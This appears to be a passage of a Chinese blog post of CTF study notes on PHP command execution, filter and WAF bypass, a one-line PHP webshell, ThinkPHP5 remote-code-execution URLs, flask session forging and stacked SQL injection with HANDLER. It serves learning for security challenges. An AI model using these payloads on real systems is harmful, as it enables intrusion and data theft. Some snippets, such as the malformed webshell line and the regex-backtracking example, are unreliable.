$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse"); # 如果key为非法变量名会根据第2,3个参数来重新规定
extract($my_array); 
echo "\$a = $a; \$b = $b; \$c = $c"; #输出:$a = Cat; $b = Dog; $c = Horse
?>
# 类似函数parse_str(string,array) ,其中array可以不填,它规定存储变量的数组名称。
<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
	echo $age;  
#输出结果:Peter 43
?>

11、系统命令执行

system()函数 ,执行外部程序,并且显示输出

/*
system(string $command, int &$result_code = null): string|false
command
要执行的命令。 
result_code
如果提供 result_code 参数,则外部命令执行后的返回状态将会被设置到此变量中。 
system函数的返回值为程序输出的最后一行内容
*/
    
<?php
echo '<pre>';

// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('ls', $retval);

// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?> 
    
一句话木马:
    上传一句话木马到目标服务器,<?php eval _REQUEST("cmd")?>,在确认目标服务器已经执行了代码的情况下,在浏览器中的木马页面传入参数:get post都可以,例如:?cmd=phpinfo(),或者?cmd=system('ls');,注意系统函数后记得加分号。
    
查找flag
    system(find / -name flag*)

12、linux过滤

shell中执行命令时可能会过滤一些关键字,比如空格,比如cat等等

1.过滤空格
$IFS  # $IFS在Linux中默认指定space,tab,换行
${IFS} # {}用于扩展和重复命令、生成文件列表以及进行字符串匹配等操作
${IFS}$9
$IFS$1
{,}
%09 # tab
%20 # space
<
<>

2.过滤关键词
	2.1 base64编码绕过
		echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
		前边Y2F0IGZsYWcucGhw是cat flag.php的base64编码.在用base64 -d命令进行执行
		这里边的|是管道符。
	Hex编码绕过:
		echo "636174202f666c6167"|xxd -r -p|bash    # 将执行cat /flag
		$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")  # 执行cat /flag
	Oct编码绕过:
		$(printf "\143\141\164\40\151\156\144\145\170\56\160\150\160") #执行cat index.php
		$(printf "\154\163")       #执行ls
	2.2 内联绕过
		`命令`或者$(命令) # 内联绕过,反引号内的运行结果作为执行命令的关键字
		'/'用printf及$()绕过:$(printf${IFS}"\57")
		``在linux中使用反引号包围意为将内容当做命令执行
		例如:/?ip=127.0.0.1;cat$IFS$1`ls`
	2.3 通配符绕过
		* ? [a-z] {a..z}等 # 通配符绕过
	2.4 变量绕过
		例如:a=ca;b=t;则 cat=$a$b # 特殊变量绕过
		?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
	2.5 引号绕过:
		ca""t  =>  cat 
		mo''re  =>  more
	2.6 反斜杠绕过:\ # 转义符过滤,注意不要在转义字母前加\,那样的话会被识别成转义符
		ca\t  =>  cat
		mo\re  =>  more  
	2.7 如果php在环境变量PATH中时:
	cat `php -r "echo chr(102).chr(49).chr(97).chr(103);"`

image-20240309191019506

13、RCE漏洞

RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:
system(),exec(),shell_exec(),pcntl_exec(),popen(),proc_popen(),passthru()等
    
常被禁用的函数: exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"

eval代码执行

eval命令执行漏洞,eval() 函数把字符串按照 PHP 代码来计算。

例子:
eval($_REQUEST['a'])
a=system('ls')
相当于:<?php system('ls')?>

注意:
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

----通配符绕过
源码中过滤了很多东西,可以使用的字符:p ` ? / + < > =
通过可用的字符构造cmd=?><?=`.+/??p/p?p??????`,由eval($cmd)来运行临时文件
备注:问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx
    
----chr()绕过
对过滤掉的符号进行绕过。
chr(ascii) 函数从指定 ASCII 值返回字符。
ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,十六进制值被定义为带前置 0x。
例如:chr(47)=" / "
    
php中的'ls': 
scandir(directory,sorting_order,context); 函数返回指定目录中的文件和目录的数组。
directory:必需,规定要扫描的目录。
利用data伪协议:
?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
    
其他php常用函数
1.getcwd() 返回当前目录的路径
2.glob($pattern, $flags):根据指定模式匹配获取与之匹配的文件或目录列表。$pattern 参数是一个通配符模式,支持 * 和 ? 等通配符,例如 *.txt 匹配所有以 .txt 结尾的文件。如果要获取文件和目录,可以使用 * 作为通配符。$flags 参数是一个可选参数,用于设置匹配模式和排序规则等。
3.file_get_contents($filename) 是 PHP 中一个常用的文件操作函数,它可以返回指定文件的内容
Payload:?page=data://text/plain,<?php $a=file_get_contents('flag.php'); echo $a; ?>
4.htmlspecialchars(string)返回string中的除html标签以外的字符串

例题:

4层嵌套传参
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
1.中文“群”字需要编码
2.最里层变量名:"CTFshow-QQ群:"编码后为:"CTFshow-QQ%E7%BE%A4%3A"
3.cookie: CTFshow-QQ%E7%BE%A4%3A=a ,传入使变量CTFshow-QQ%E7%BE%A4%3A和变量a的值相等
4.post: b=a ,使变量b和变量a的值相等
5.get: ?c=b&c[6][0][7][5][8][0][9][4][4]=system('ls /'); ,使变量c和变量b的值相等同时,使变量c的值为system('ls /')
6.request: 可以接收get和post两种请求方式的参数,如果接受get,则执行system,接收post,也是system,因为b=a

过滤绕过方法

1.替代法
    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    sh /flag 2>%261 //报错出文件内容

2.使用转义符号
    ca\t /fl\ag
    cat fl''ag	

3.拼接法
	a=fl;b=ag;cat$IFS$a$b
    
4.使用空变量$*和$@,$x,${x}绕过
	ca$*t flag
    ca$@t flag
    ca$5t flag
    ca${5}t flag

5.反引号绕过
 注释:反引号里的内容会当做命令执行,并返回执行结果的字符串
	例如:ls的结果是flag
	则cat `ls` 等同于 cat flag
     
6.编码绕过
Base64
        echo 'cat' | base64
        output:Y2F0Cg==
        `echo 'Y2F0Cg==' | base64 -d` flag
        output:flag{xxx}
8进制,16进制等

7.正则表达式绕过
    cat ?la*

8.利用未初始化变量$u让绕过
    
9.回溯绕过
//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False
    
10. URL编码取反绕过
//就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过
//url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。
获得取反后的url编码:(以phpinfo为例)
var_dump(urlencode(~'phpinfo'));
pyload:(~%8F%97%8F%96%91%99%90)(); (记得给url加括号)
显示phpinfo界面,此时可以查看disable_functions,禁用了哪些函数,再进行构造获取flag。
    
11.异或饶过
//异或:将两个字符的ascii转化为二进制 进行异或取值 从而得到新的二进制 转化为新的字符
字符:? ASCII码:63 二进制: 00‭11 1111‬
字符:~ ASCII码:126 二进制: 0111 1110‬
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述两个字符异或得到 二进制: 0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A
    
12.动态链接库—— LD_PRELOAD

ThinkPHP5-Rce

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下可执行任意方法,从而导致远程命令执行漏洞

影响版本:
5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30(不同版本payload不同,且5.13版本后还与debug模式有关)

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 #将执行phpinfo()

http://node3.buuoj.cn:25181/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id #执行id命令(linux)

配置文件写入

14、session漏洞

  • session原理:
  • SESSION是一种机制,可以在服务器端跨文件暂时保存数据或传递数据,常用于购物车等方面。SESSION只在用户关闭浏览器之前有效。每一次SESSION会话都有一个SESSION ID,用来识别不同的会话,保存在浏览器Cookie之中,也就是这个名为PHPSESSID的Cookie(当然,这个名称是可以更改的)。
  • 浏览器将Cookie(包括PHPSESSID)发送给服务器,PHP才知道应该使用哪一个SESSION传递给PHP程序。因此,这并不是XAMPP生成的,而是PHP自动创建的。
  • PHPSESSIONID的生产算法原理如下:
  • hash_func = md5 / sha1 #可由php.ini配置
  • 当php.ini(Windows下PHP的配置文件)中的

    session.auto_start = On

  • 时,PHP会自动创建SESSION,改为:

    session.auto_start = Off

  • PHP就不会自动创建SESSION了
  • 利用漏洞:
在PHP中$_SESSION[]可以存储特定用户的Session信息。当用户请求网站中任意一个页面时,若用户未建立Session对象,则服务器会自动为用户创建一个Session对象,它包含唯一的SessionID和其他Session变量,并保存在服务器内存中,不同用户的Session对象存着各自指定的信息。
session_start(); //开启Session功能
session_id();//获取用户Session ID值,如需修改在括号中传值即可
利用Session变量存储信息:
$_SESSION["Session名称"]=变量或字符串信息;
1.代码演示:
//test1.php
<?php
	session_start();
	$_SESSION['name']="admin";
	$_SESSION['password']=123456;
	echo "所在文件:".$_SERVER["PHP_SELF"]."<br/>";
	echo "用户名:{$_SESSION['name']} <br/>密码:{$_SESSION['password']}";
?>
//test2.php
<?php
	session_start();
	echo "所在文件:".$_SERVER["PHP_SELF"]."<br/>";
	echo "用户名:{$_SESSION['name']} <br/>密码:{$_SESSION['password']}";
?>
2.bp修改sessionid
cookie:PHPSESSID=....
删去PHPSESSID后面的内容,变量将变为空,可以满足“用户输入(空)==$_SESSION['xxx']”

flask_session伪造

介绍:flask-session结构
	Flask是一个用Python编写的Web应用程序框架
    
	flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session默认session的储存是在用户Cookie中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。flask框架作为python框架一般会运行app.py文件(该文件常常为flask项目结构中的主程序文件。)	
    
	flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。文件包含读取/proc/self/maps文件获取可读内容的内存映射地址。
    (使用python脚本破解内容信息)
    
利用工具flask_session_cookie_manager伪造session
python flask_session_cookie_manager3.py encode -s "dd2f770c1e2f4576af5bc1a6c7628ad4*abcdefgh" -t "{'admin':1}"
    

15、WAF绕过

利用php字符串的特性
我们在传参时在num前加入空格,这样本题的waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行

image-20231019160720298

16、黑洞

> /dev/null 是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃,俗称“黑洞”
Linux中的标准输入输出
    0 是标准输入,一般是从键盘获得输入
    1 是标准输出,一般是输出到屏幕了
    2 是标准错误,有时候屏幕上可以看到,但是重定向的文件中看不到的就是它了
    >为重定向符号
例如:
2>/dev/null意思就是把错误输出到“黑洞” ,也就是说如果你的命令出错的话,错误报告直接就删除了。不会显示在屏幕上

17、sql注入黑名单

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,
该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

题目:“Blacklist”
 preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

image-20231103152005107

image-20231103152126519

单引号注入
先用 show语句查看一下
show databases;   获取数据库名
show tables;  获取表名
show columns from `table_name`; 获取列名
堆叠注入:
pyload1:-1';show databases;#'
pyload2: -1';show tables;#'
pyload3: -1';show columns from `FlagHere`;#'

得出结论:flag存放在当前数据库中FlagHere表的flag字段下

用 HANDLER语法可以绕过select限制
pyload:-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#'

参考资料

posted @ 2025-07-14 14:14  波波sama  阅读(157)  评论(0)    收藏  举报